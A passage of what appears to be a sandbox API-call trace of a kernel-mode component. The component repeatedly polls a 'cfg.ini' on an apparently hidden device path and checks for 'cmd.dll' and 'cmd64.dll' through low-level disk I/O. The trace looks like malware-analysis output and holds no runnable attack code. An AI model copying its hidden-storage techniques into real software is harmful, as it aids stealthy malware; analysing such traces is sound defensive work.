FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.982] KeLeaveCriticalRegion () [0122.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.982] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.982] KeEnterCriticalRegion () [0122.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8a000 [0122.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.982] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.982] IdePortDispatch () returned 0x103 [0122.982] KeWaitForMutexObject () returned 0x0 [0122.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.982] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.983] IdePortDispatch () returned 0x103 [0122.983] KeWaitForMutexObject () returned 0x0 [0122.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.983] KeLeaveCriticalRegion () [0122.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.983] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.983] KeEnterCriticalRegion () [0122.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.983] KeLeaveCriticalRegion () [0122.983] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.983] KeEnterCriticalRegion () [0122.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.984] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.984] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.984] KeLeaveCriticalRegion () [0122.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.984] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.984] KeEnterCriticalRegion () [0122.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.984] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0122.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.984] KeLeaveCriticalRegion () [0122.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.984] ReleaseMutex (hMutex=0xf0) returned 1 [0122.984] Sleep (dwMilliseconds=0x124f80) [0122.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.990] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.990] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.990] KeEnterCriticalRegion () [0122.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.990] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.990] IdePortDispatch () returned 0x103 [0122.991] KeWaitForMutexObject () returned 0x0 [0122.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.991] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.991] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.991] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.991] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.991] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd2f0 [0122.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.991] KeLeaveCriticalRegion () [0122.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.991] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.991] KeEnterCriticalRegion () [0122.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.991] KeLeaveCriticalRegion () [0122.991] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.991] KeEnterCriticalRegion () [0122.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.991] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.991] IdePortDispatch () returned 0x103 [0122.991] KeWaitForMutexObject () returned 0x0 [0122.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.991] KeLeaveCriticalRegion () [0122.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.991] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.992] KeEnterCriticalRegion () [0122.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8d000 [0122.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.992] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.992] IdePortDispatch () returned 0x103 [0122.992] KeWaitForMutexObject () returned 0x0 [0122.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.992] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.992] IdePortDispatch () returned 0x103 [0122.992] KeWaitForMutexObject () returned 0x0 [0122.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.992] KeLeaveCriticalRegion () [0122.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.993] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.993] KeEnterCriticalRegion () [0122.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] KeLeaveCriticalRegion () [0122.993] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.993] KeEnterCriticalRegion () [0122.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.993] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] KeLeaveCriticalRegion () [0122.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.993] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.993] KeEnterCriticalRegion () [0122.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] ExFreePoolWithTag (P=0xfffffa8003bbd2f0, Tag=0x0) [0122.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] KeLeaveCriticalRegion () [0122.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.993] ReleaseMutex (hMutex=0xf0) returned 1 [0122.993] Sleep (dwMilliseconds=0x124f80) [0123.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.005] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.005] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.005] KeEnterCriticalRegion () [0123.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.005] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.005] IdePortDispatch () returned 0x103 [0123.005] KeWaitForMutexObject () returned 0x0 [0123.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.005] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.005] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.005] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] KeLeaveCriticalRegion () [0123.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.006] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.006] KeEnterCriticalRegion () [0123.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] KeLeaveCriticalRegion () [0123.006] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.006] KeEnterCriticalRegion () [0123.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.006] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.006] IdePortDispatch () returned 0x103 [0123.006] KeWaitForMutexObject () returned 0x0 [0123.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] KeLeaveCriticalRegion () [0123.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.006] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.006] KeEnterCriticalRegion () [0123.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d91000 [0123.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.006] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.006] IdePortDispatch () returned 0x103 [0123.006] KeWaitForMutexObject () returned 0x0 [0123.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.007] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.007] IdePortDispatch () returned 0x103 [0123.007] KeWaitForMutexObject () returned 0x0 [0123.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.007] KeLeaveCriticalRegion () [0123.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.007] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.007] KeEnterCriticalRegion () [0123.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.007] KeLeaveCriticalRegion () [0123.008] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.008] KeEnterCriticalRegion () [0123.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.008] KeLeaveCriticalRegion () [0123.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.008] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.008] KeEnterCriticalRegion () [0123.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.008] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.008] KeLeaveCriticalRegion () [0123.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.008] ReleaseMutex (hMutex=0xf0) returned 1 [0123.008] Sleep (dwMilliseconds=0x124f80) [0123.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.021] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.022] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.022] KeEnterCriticalRegion () [0123.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.022] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.022] IdePortDispatch () returned 0x103 [0123.022] KeWaitForMutexObject () returned 0x0 [0123.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.022] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.022] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.022] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.022] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.022] KeLeaveCriticalRegion () [0123.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.022] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.022] KeEnterCriticalRegion () [0123.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.022] KeLeaveCriticalRegion () [0123.022] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.022] KeEnterCriticalRegion () [0123.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.022] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.022] IdePortDispatch () returned 0x103 [0123.022] KeWaitForMutexObject () returned 0x0 [0123.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.023] KeLeaveCriticalRegion () [0123.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.023] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.023] KeEnterCriticalRegion () [0123.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d96000 [0123.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.023] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.023] IdePortDispatch () returned 0x103 [0123.023] KeWaitForMutexObject () returned 0x0 [0123.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.023] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.023] IdePortDispatch () returned 0x103 [0123.023] KeWaitForMutexObject () returned 0x0 [0123.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.023] KeLeaveCriticalRegion () [0123.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.024] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.024] KeEnterCriticalRegion () [0123.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 